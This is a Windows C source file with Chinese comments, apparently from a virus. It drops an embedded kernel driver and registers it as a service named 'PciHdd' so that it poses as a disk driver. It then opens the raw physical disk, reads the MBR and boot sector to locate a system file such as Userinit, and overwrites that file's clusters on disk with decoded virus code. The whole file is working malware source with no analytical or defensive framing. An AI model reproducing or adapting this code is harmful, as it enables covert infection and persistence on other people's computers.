| //============================================================================== #define IOCTL_MYDEV_BASE 0xF000 #define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)
//============================================================================== DWORD InstallAndStartDriver(HMODULE ModuleHandle) { TCHAR filePath[MAX_PATH]; HANDLE fileHandle; HRSRC hSysRes; DWORD dwWritten; DWORD dwSysLen; PVOID lpSysBuf; SC_HANDLE hSCManager; SC_HANDLE hService; SERVICE_STATUS sService; DWORD errCode = ERROR_SUCCESS; if( (NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001))) || (0 == (dwSysLen = SizeofResource(ModuleHandle, hSysRes))) || (NULL == (lpSysBuf = LockResource(hSysRes))) || (0 == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath))) || (INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL))) ) { errCode = GetLastError(); goto FunExit00; } if( !WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL) || !SetEndOfFile(fileHandle) || !FlushFileBuffers(fileHandle) ) { errCode = GetLastError(); } CloseHandle(fileHandle); if(ERROR_SUCCESS != errCode) { goto FunExit01; } if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS))) { errCode = GetLastError(); goto FunExit01; } hService = CreateService( hSCManager, TEXT("PciHdd"), TEXT("PciHdd"), SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, filePath, NULL, NULL, NULL, NULL, NULL ); if(NULL != hService) { CloseServiceHandle(hService); } else { if(NULL != (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS))) { ControlService(hService, SERVICE_CONTROL_STOP, &sService); DeleteService(hService); CloseServiceHandle(hService); } hService = CreateService( hSCManager, TEXT("PciHdd"), TEXT("PciHdd"), SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, filePath, NULL, NULL, NULL, NULL, NULL ); if(NULL != hService) { CloseServiceHandle(hService); } else { errCode = GetLastError(); goto FunExit02; } } if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_START))) { errCode = GetLastError(); goto FunExit02; } StartService(hService, 0, NULL); CloseServiceHandle(hService); FunExit02: CloseServiceHandle(hSCManager); FunExit01: DeleteFile(filePath); FunExit00: return errCode; }
//============================================================================== DWORD StopAndDeleteDriver(VOID) { TCHAR filePath[MAX_PATH]; SC_HANDLE hSCManager; SC_HANDLE hService; SERVICE_STATUS sService; DWORD errCode = ERROR_SUCCESS; if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS))) { errCode = GetLastError(); goto FunExit00; } if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS))) { errCode = GetLastError(); goto FunExit01; } ControlService(hService, SERVICE_CONTROL_STOP, &sService); DeleteService(hService); CloseServiceHandle(hService); FunExit01: CloseServiceHandle(hSCManager); FunExit00: ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)); DeleteFile(filePath); return errCode; }
//============================================================================== // 感染硬盘第一个分区的指定的文件 // // 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息 // // 2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。 // // 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据,确定定位是否正确 // // 入口参数: // 要感染的文件名(完整路径) // // Return value: // Success -> NULL // Failed -> 指向出错信息的指针 //============================================================================== DWORD WriteVirusToDisk(LPCTSTR VirusFile) { STARTING_VCN_INPUT_BUFFER iVcnBuf; UCHAR oVcnBuf[272]; PRETRIEVAL_POINTERS_BUFFER lpVcnBuf; DWORD dwVcnExtents; LARGE_INTEGER startLcn; PUCHAR lpClusterBuf; DWORD dwClusterLen; UCHAR dataBuf[512]; UCHAR diskBuf[512]; DWORD dataLen; LARGE_INTEGER diskPos; PPARTITION_ENTRY lpPartition; ULONG dwPartitionStart; ULONG dwPartitionType; PBBR_SECTOR lpBootSector; DWORD SectorsPerCluster; HANDLE hHddDevice; HANDLE hDskDevice; HANDLE hVirusFile; DWORD errCode = ERROR_SUCCESS; if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL))) { errCode = GetLastError(); goto FunExit00; } // if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL))) { errCode = GetLastError(); goto FunExit01; } iVcnBuf.StartingVcn.QuadPart = 0; RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf)); if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &iVcnBuf, sizeof(iVcnBuf), &oVcnBuf[0], sizeof(oVcnBuf), &dataLen, NULL)) { errCode = GetLastError(); goto FunExit02; } lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&oVcnBuf[0]; dwVcnExtents = lpVcnBuf->ExtentCount; startLcn = lpVcnBuf->Extents[0].Lcn; if(!dwVcnExtents) { errCode = (ULONG)(-3); // 文件太小, 不能操作 goto FunExit02; } if(startLcn.QuadPart == -1) { errCode = (ULONG)(-4); // 该文件是压缩文件, 不能操作 goto FunExit02; } ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &dataLen, NULL); // 打开第一个物理硬盘 if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL))) { errCode = GetLastError(); goto FunExit02; } // 读取硬盘第一个扇区(MBR) SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN); ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL); lpPartition = &(((PMBR_SECTOR)&diskBuf[0])->Partition[0]); if(lpPartition[0].active != 0x80) { errCode = (ULONG)(-1); // 分区不是启动分区 goto FunExit03; } dwPartitionType = lpPartition[0].PartitionType; if( dwPartitionType != PARTITION_TYPE_FAT32 && dwPartitionType != PARTITION_TYPE_FAT32_LBA && dwPartitionType != PARTITION_TYPE_NTFS ) { errCode = (ULONG)(-2); // 不支持的磁盘分区 goto FunExit03; } dwPartitionStart = lpPartition[0].StartLBA; diskPos.QuadPart = dwPartitionStart * 512; // 读取启动分区的第一个扇区(启动扇区) SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN); ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL); lpBootSector = (PBBR_SECTOR)&diskBuf[0]; SectorsPerCluster = lpBootSector->SectorsPerCluster; // 根据FAT32/NTFS计算Userinit的起始簇的偏移量 diskPos.QuadPart = dwPartitionStart; diskPos.QuadPart+= lpBootSector->ReservedSectors; if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA) { diskPos.QuadPart+= lpBootSector->NumberOfFATs * lpBootSector->SectorsPerFAT32; } diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster; diskPos.QuadPart*= 512; // 检查文件寻址 SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN); ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL); if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf))) { errCode = (ULONG)(-5); // 寻址文件不成功 goto FunExit03; } // 分配缓冲 dwClusterLen = SectorsPerCluster*512; lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一个簇所要的缓冲 if(!lpClusterBuf) { errCode = GetLastError(); // 寻址文件不成功 goto FunExit03; } // 把Virus文件的数据从SYS文件资源段中解码出来 if(!DeviceIoControl( hVirusFile, IOCTL_MYDEV_Fun_0xF01, (PVOID)0x00401000, // 本执行文件代码段的开始, 在C语言中我不会表达 0x73E, // 本执行文件代码段的长度, 在C语言中我不会表达 lpClusterBuf, dwClusterLen, &dataLen, NULL )) { errCode = GetLastError(); goto FunExit04; } // 写Virus文件的数据到磁盘 SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN); WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &dataLen, NULL); FlushFileBuffers(hDskDevice); errCode = ERROR_SUCCESS; FunExit04: GlobalFree(lpClusterBuf); FunExit03: CloseHandle(hDskDevice); FunExit02: CloseHandle(hVirusFile); FunExit01: CloseHandle(hHddDevice); FunExit00: return errCode; } |